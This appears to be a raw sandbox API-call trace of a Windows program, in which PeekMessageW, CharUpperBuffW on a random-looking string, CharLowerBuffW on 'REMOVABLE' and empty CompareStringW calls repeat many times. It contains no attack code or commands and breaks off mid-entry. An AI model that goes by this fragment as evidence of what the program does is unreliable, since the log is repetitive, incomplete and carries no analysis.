CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.388] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.388] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.388] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.388] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.389] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.389] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.389] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.389] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.389] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.390] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.390] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.390] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.390] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.390] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.390] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.390] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.390] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.390] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.390] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.390] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.390] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.390] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.390] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.390] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.390] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.391] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.391] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.391] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.391] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.391] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.391] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.391] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.391] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.391] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.391] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.391] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.391] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.392] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.392] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.392] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.392] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.392] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.392] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.392] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.392] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.392] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.392] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.392] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.392] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.392] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.392] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.392] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.392] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.393] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.393] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.393] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.393] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.393] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.393] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.393] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.393] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.394] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.394] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.394] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.394] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.394] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.394] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.394] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.394] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.394] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.394] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.394] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.395] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.395] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.395] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.395] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.395] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.395] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.395] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.395] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.395] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.396] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.396] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.396] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.396] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.396] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.396] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.440] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.440] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.440] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.441] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.441] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.441] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.441] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.441] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.442] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.442] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.442] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.442] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.443] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.443] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.443] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.443] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.444] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.444] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.444] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.444] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.444] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.444] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.445] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.445] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.445] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.445] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.445] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.445] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.446] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.446] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.446] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.446] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.447] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.447] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.447] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.447] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.448] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.448] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.485] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.485] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.486] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.486] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.486] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.486] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.487] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.487] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.487] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.487] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.488] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.488] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.488] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.488] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.488] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.488] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.489] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.489] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.489] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.489] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", 